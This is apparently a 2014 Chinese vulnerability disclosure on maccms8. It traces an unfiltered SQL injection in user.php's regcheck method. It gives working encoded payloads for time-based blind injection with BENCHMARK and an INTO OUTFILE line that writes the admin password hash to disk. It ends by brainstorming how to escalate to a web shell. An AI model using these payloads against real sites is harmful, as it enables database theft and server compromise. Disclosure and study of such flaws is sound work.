### 简要描述:
这次这个地方主要是想绕过一个限制达到getshell的目的,但是本人水平有限,所以希望大家可以讨论下。
### 详细说明:
估计依旧小厂商,当然这倒不要紧。
继续上次的注入,如果说上次是因为单词写错的缘故,这次就不仅仅是粗心所造成的了。
接着看代码:
同样index.php开头:
上次分析过,这次直接看
```
if(empty($ac)){ $ac='vod'; $method='index'; }
$colnum = array("id","pg","yaer","typeid","classid");//依然是这里
if($parlen>=2){
$method = $par[1];
for($i=2;$i<$parlen;$i+=2){
$tpl->P[$par[$i]] = in_array($par[$i],$colnum) ? intval($par[$i+1]) : urldecode($par[$i+1]);
}
}
if($tpl->P['pg']<1){ $tpl->P['pg']=1; }
unset($colnum);
$acs = array('vod','art','map','user','gbook','comment','label');
if(in_array($ac,$acs)){
$tpl->P["module"] = $ac;
include MAC_ROOT.'/inc/module/'.$ac.'.php';//继续看module下的文件
}
else{
showErr('System','未找到指定系统模块');
}
```
为了避免说是刷漏洞之类的,我们这次看/inc/module/user.php:第152行
```
elseif($method=='regcheck')
{
$status="true";
$s=$tpl->P['s'];//s是哪里来的呢
$t=$tpl->P['t'];//t就是哪里来的
switch($t)//我们看到下面$s依然没有做任何过滤,同时我们之前就可以绕过一切防护
{
case "u_name": $where = " AND u_name='" .$s ."'";break;
case "u_email": $where = " AND u_email='" . $s ."'";break;
case "u_qq": $where = " AND u_qq='" . $s ."'";break;
case "u_code": if ($_SESSION["code_userreg"] != $s){ $status="false"; } break;
default : $where="";break;
}
if($t!="u_code" && $status=="true"){//也就是说$t为u_name,u_email,u_qq时都可以注入了
$sql = "SELECT count(*) FROM {pre}user WHERE 1=1 " . $where;
$num = $db->getOne($sql);
if($num>0){ $status= "false"; }
}
echo "{\"res\":".$status."}";;
}
```
不知道开发看到这里有没有明白各种漏洞为什么会产生呢~
注入比较简单,但这里我们却只能延时注入,来看下mysql_log:
[<img src="https://images.seebug.org/upload/201406/241918344d3eb0e3195eefbafa931729632aa782.png" alt="maccms3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/241918344d3eb0e3195eefbafa931729632aa782.png)
当然这里你无法union,只能基于时间盲注入,配合IF和BENCHMARK你依然可以读数据,
但总觉得不够满足,一直想getshell,所以不管如何先找到路径,看了下代码也没找到好的爆路径的地方,只好野蛮一点:
```
http://localhost/maccms8_mfb/index.php?m=user-regcheck-s-123%2527%2520and%2520BENCHMARK%252850000000%250A%252Cmd5%2528%2527test%2527%2529%2529%2523-t-u_name
```
[<img src="https://images.seebug.org/upload/201406/2419260725cd0928ab0f311030e29dcae0d957fa.png" alt="macms.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/2419260725cd0928ab0f311030e29dcae0d957fa.png)
得到路径了,但是index.php里的一段代码让我瞬间傻了,
```
$m = be('get','m');
if(strpos($m,'.')){ $m = substr($m,0,strpos($m,'.')); }
```
也就是说其实传来的参数只会获取第一个点号出现之前的部分,
那我们怎么getshell啊,愁死了,
接下来我就开始各种YY:
1.读取密码写入无后缀文件中:【可是这样你无法下载啊】
```
http://localhost/maccms8_mfb/index.php?m=user-regcheck-s-123%2527%2520union%2520select%2520m_password%2520from%2520mac_manager%2520into%2520outfile%2520%2522C%253A%255C%255CAppServ%255C%255Cwww%255C%255Cmaccms8_mfb%255C%255Cinc%255C%255Ccommon%255C%255Ctest%2522%2523-t-u_name
```
[<img src="https://images.seebug.org/upload/201406/241934340b7f8220050221b34cd7f9034414695f.png" alt="maccms2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/241934340b7f8220050221b34cd7f9034414695f.png)
2.利用NTFS ADS建立目录,类似
```
select 'xxx' into dumpfile 'f:\\test::$INDEX_ALLOCATION';
```
可是这又能干嘛
3.继续YY,可不可以以16进制方式写入路径到无后缀文件,然后再outfile到读取出来的路径中,死心吧,语法压根不可行。
4.mysql有能像oracle那样远程将数据发送到其他服务器的函数么,哎继续死心
5.还是老老实实挖一个文件包含吧
…………求大家支援
### 漏洞证明:
[<img src="https://images.seebug.org/upload/201406/241918344d3eb0e3195eefbafa931729632aa782.png" alt="maccms3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/241918344d3eb0e3195eefbafa931729632aa782.png)
[<img src="https://images.seebug.org/upload/201406/2419260725cd0928ab0f311030e29dcae0d957fa.png" alt="macms.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/2419260725cd0928ab0f311030e29dcae0d957fa.png)
[<img src="https://images.seebug.org/upload/201406/241934340b7f8220050221b34cd7f9034414695f.png" alt="maccms2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/241934340b7f8220050221b34cd7f9034414695f.png)
暂无评论